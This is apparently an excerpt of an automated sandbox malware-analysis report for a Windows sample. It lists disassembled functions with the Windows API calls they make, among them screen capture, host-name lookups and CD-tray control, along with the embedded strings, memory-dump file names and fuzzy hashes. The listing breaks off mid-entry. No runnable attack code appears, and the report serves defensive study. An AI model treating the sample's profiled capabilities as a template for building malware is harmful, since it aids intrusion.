                              • API ID: MessageSend$C400CursorD82980DestroyExtractIcon
                              • String ID:
                              • API String ID: 4018095852-0
                              • Opcode ID: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
                              • Instruction ID: aa77b4eb3e0d334a4980849760fe45b072e458157f6a66894e70986bfe60c355
                              • Opcode Fuzzy Hash: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
                              • Instruction Fuzzy Hash: 39617D75A00209AFEB10DF68CD85FEEB7B4FB48710F10855AF618AB2D0D7B4A981CB54
                              Function 0046163E Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                              Download Yara Rule
                              APIs
                              • GetClassNameW.USER32(?,?,00000100), ref: 00461678
                              • _wcslen.LIBCMT ref: 00461683
                              • __swprintf.LIBCMT ref: 00461721
                              • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00461794
                              • GetClassNameW.USER32(?,?,00000400), ref: 00461811
                              • GetDlgCtrlID.USER32(?), ref: 00461869
                              • GetWindowRect.USER32(?,?), ref: 004618A4
                              • GetParent.USER32(?), ref: 004618C3
                              • ScreenToClient.USER32(00000000), ref: 004618CA
                              • GetClassNameW.USER32(?,?,00000100), ref: 00461941
                              • GetWindowTextW.USER32(?,?,00000400), ref: 0046197E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                              • String ID: %s%u
                              • API String ID: 1899580136-679674701
                              • Opcode ID: 766f23a74968ff95f09f311a42cbe987384f70ffc1712f5abd724c40a01aa324
                              • Instruction ID: 362d1c13b2509f288ecdbc272899e32e1bd8f20a7ba75cfa55bfcaf2deda5cb5
                              • Opcode Fuzzy Hash: 766f23a74968ff95f09f311a42cbe987384f70ffc1712f5abd724c40a01aa324
                              • Instruction Fuzzy Hash: 1DA1B2715043019FDB10DF55C884BAB73A8FF84314F08896EFD899B255E738E94ACBA6
                              Function 0045FD57 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 227windowsleepCOMMON
                              Download Yara Rule
                              APIs
                              • GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FDDB
                              • SetMenuItemInfoW.USER32(00000008,00000004,00000000,00000030), ref: 0045FE14
                              • Sleep.KERNEL32(000001F4,?,FFFFFFFF,00000000,00000030,?,?,?,?,?,?), ref: 0045FE26
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: InfoItemMenu$Sleep
                              • String ID: 0
                              • API String ID: 1196289194-4108050209
                              • Opcode ID: c65cffcb0b41bccfc2e749f507a7067f69681543840726e93d819a57ffaed043
                              • Instruction ID: 163fe6e236f433162160dce37f71c375d73f8c96772172175a1e07f10d517f7e
                              • Opcode Fuzzy Hash: c65cffcb0b41bccfc2e749f507a7067f69681543840726e93d819a57ffaed043
                              • Instruction Fuzzy Hash: 12710172500244ABDB20CF55EC49FAFBBA8EB95316F00842FFD0197292C374A94DCB69
                              Function 004313CA Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                              Download Yara Rule
                              APIs
                              • 7427A570.USER32(00000000,?,?), ref: 0043143E
                              • 74284C00.GDI32(00000000,?,?), ref: 0043144F
                              • 74284C40.GDI32(00000000), ref: 00431459
                              • SelectObject.GDI32(00000000,?), ref: 00431466
                              • StretchBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 004314CC
                              • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00431505
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74284$7427A570BitsObjectSelectStretch
                              • String ID: (
                              • API String ID: 2829590553-3887548279
                              • Opcode ID: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
                              • Instruction ID: 70523424e9a4c52fdd53d867b9eeb1eac2d89839f103c71a78559f5a5eece38f
                              • Opcode Fuzzy Hash: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
                              • Instruction Fuzzy Hash: 63514971A00209AFDB14CF98C884FAFBBB8EF49310F10891DFA5997290D774A940CBA4
                              Function 0045DA73 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 141COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C
                                • Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0
                              • GetDriveTypeW.KERNEL32 ref: 0045DB32
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DB78
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBB3
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBED
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: SendString$_wcslen$BuffCharDriveLowerType_memmove
                              • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                              • API String ID: 1976180769-4113822522
                              • Opcode ID: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
                              • Instruction ID: 81dc6b2e9a5b1b7ac5bd11c7175921e379baf9e0c2b27e14ed053c07c028f3b1
                              • Opcode Fuzzy Hash: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
                              • Instruction Fuzzy Hash: 75516E715043049FD710EF21C981B5EB3E4BF88304F14896FF995AB292D7B8E909CB5A
                              Function 00432A10 Relevance: 21.1, APIs: 14, Instructions: 140timeCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_wcsncpy$LocalTime__fassign
                              • String ID:
                              • API String ID: 461458858-0
                              • Opcode ID: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
                              • Instruction ID: 9848deb76f2cd1bd94a84263f46e444e1138d8b87e7a9916e51222e649cc75ea
                              • Opcode Fuzzy Hash: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
                              • Instruction Fuzzy Hash: B1417372D10204B6CF10EFA5C946ADFF3B8DF49314F90885BE909E3121F6B4E65583A9
                              Function 0043009D Relevance: 21.1, APIs: 14, Instructions: 134filecommemoryCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004300C3
                              • GetFileSize.KERNEL32(00000000,00000000), ref: 004300DE
                              • GlobalAlloc.KERNEL32(00000002,00000000), ref: 004300E9
                              • GlobalLock.KERNEL32(00000000), ref: 004300F6
                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00430105
                              • GlobalUnlock.KERNEL32(00000000), ref: 0043010C
                              • CloseHandle.KERNEL32(00000000), ref: 00430113
                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00430120
                              • OleLoadPicture.OLEAUT32(?,00000000,00000000,004829F8,?), ref: 0043013E
                              • GlobalFree.KERNEL32(00000000), ref: 00430150
                              • GetObjectW.GDI32(?,00000018,?), ref: 00430177
                              • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004301A8
                              • DeleteObject.GDI32(?), ref: 004301D0
                              • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004301E7
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                              • String ID:
                              • API String ID: 3969911579-0
                              • Opcode ID: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
                              • Instruction ID: 40287395d2d29e4935595b2baf4d6657c54b4003bec4d35786bf86d2452689d1
                              • Opcode Fuzzy Hash: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
                              • Instruction Fuzzy Hash: 41414C75600208AFDB10DF64DD88FAE77B8EF48711F108659FA05AB290D7B5AD01CB68
                              Function 004551F5 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 115windowCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$Delete$DestroyItemObject$74285CountCursorDrawInfo
                              • String ID: 0
                              • API String ID: 125510622-4108050209
                              • Opcode ID: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
                              • Instruction ID: b5af5d15e8ca477bb279da78e69062a53aed449fe0dbaae2e4c2ef00f9b57ed5
                              • Opcode Fuzzy Hash: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
                              • Instruction Fuzzy Hash: 91412770200601AFD714DF64D9A8B6B77A8BF48302F10896DFD45CB292D778E848CFA9
                              Function 00433493 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84networkCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscpy$Cleanup$Startup_memmove_strcatgethostbynamegethostnameinet_ntoa
                              • String ID: 0.0.0.0
                              • API String ID: 1965227024-3771769585
                              • Opcode ID: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
                              • Instruction ID: 28916de6e65f37ac85efecafd260a3a31c9a3caf28ae6c56f7260ddb0d4b80cb
                              • Opcode Fuzzy Hash: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
                              • Instruction Fuzzy Hash: 4F213A32A00114BBC710AF65DC05EEF736CEF99716F0045AFF90993151EEB99A8187E8
                              Function 0045F56D Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 78COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0045F5D5
                              • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F5EC
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045F5FE
                              • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0045F611
                              • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F61E
                              • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0045F634
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: SendString$_memmove_wcslen
                              • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                              • API String ID: 369157077-1007645807
                              • Opcode ID: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
                              • Instruction ID: e81aaa69409cfefceaf3864659f825962b2ddf67c6d06b6a861a29a56a66176d
                              • Opcode Fuzzy Hash: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
                              • Instruction Fuzzy Hash: 7F21A83168021D66E720FB95DC46FFE7368AF40700F20087BFA14B71D1DAB4A949879D
                              Function 00445BE4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 77windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetParent.USER32 ref: 00445BF8
                              • GetClassNameW.USER32(00000000,?,00000100), ref: 00445C0D
                              • __wcsicoll.LIBCMT ref: 00445C33
                              • __wcsicoll.LIBCMT ref: 00445C4F
                              • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445CA9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll$ClassMessageNameParentSend
                              • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                              • API String ID: 3125838495-3381328864
                              • Opcode ID: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
                              • Instruction ID: b9a51c7f116d0e73852bd225d20f6d8bcb5f39b8f57bd3164038c04ed7d94027
                              • Opcode Fuzzy Hash: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
                              • Instruction Fuzzy Hash: C6110AB1E447017BFE10BA659D46EBB339C9B54B11F00051BFE44D7242F6ACA94147A9
                              Function 004491B9 Relevance: 19.7, APIs: 13, Instructions: 246windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,?,000000FF,?), ref: 004492A4
                              • SendMessageW.USER32(?,?,00000000,00000000), ref: 004492B7
                              • CharNextW.USER32(?,?,?,000000FF,?), ref: 004492E9
                              • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449301
                              • SendMessageW.USER32(?,?,00000000,?), ref: 00449332
                              • SendMessageW.USER32(?,?,000000FF,?), ref: 00449349
                              • SendMessageW.USER32(?,?,00000000,00000000), ref: 0044935C
                              • SendMessageW.USER32(?,00000402,?), ref: 00449399
                              • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0044940D
                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$CharNext
                              • String ID:
                              • API String ID: 1350042424-0
                              • Opcode ID: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
                              • Instruction ID: 867fdc7b80e212b75fe5daf06e5219747a853435bb2a874e280223eddbea68d3
                              • Opcode Fuzzy Hash: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
                              • Instruction Fuzzy Hash: 5B81D535A00119BBEB10CF85DD80FFFB778FB55720F10825AFA14AA280D7B99D4197A4
                              Function 00478656 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 197COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C
                                • Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0
                              • GetDriveTypeW.KERNEL32(?), ref: 004787B9
                              • _wcscpy.LIBCMT ref: 004787E5
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                              • String ID: \VH$a$all$cdrom$fixed$network$ramdisk$removable$unknown
                              • API String ID: 3052893215-2127371420
                              • Opcode ID: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
                              • Instruction ID: 541bc2b2506c052d744bcb7e7e177e26c036821b53f5a58429f0f0853ea8de24
                              • Opcode Fuzzy Hash: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
                              • Instruction Fuzzy Hash: 4761C1716443018BD700EF14CC85B9BB7D4AB84348F14892FF949AB382DB79E94987AB
                              Function 0045E737 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 163COMMON
                              Download Yara Rule
                              APIs
                              • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E77F
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E7A0
                              • __swprintf.LIBCMT ref: 0045E7F7
                              • _wprintf.LIBCMT ref: 0045E8B3
                              • _wprintf.LIBCMT ref: 0045E8D7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: LoadString_wprintf$__swprintf_memmove_wcslen
                              • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                              • API String ID: 2295938435-2354261254
                              • Opcode ID: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
                              • Instruction ID: 453f5dd12ee62c270a242db3517b58e8b6225e49c0ff470bc5072f32437c925c
                              • Opcode Fuzzy Hash: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
                              • Instruction Fuzzy Hash: 6A519E71A10219ABDB14EB91CC85EEF7778AF44314F14407EF90477292DB78AE49CBA8
                              Function 004531B1 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 160COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
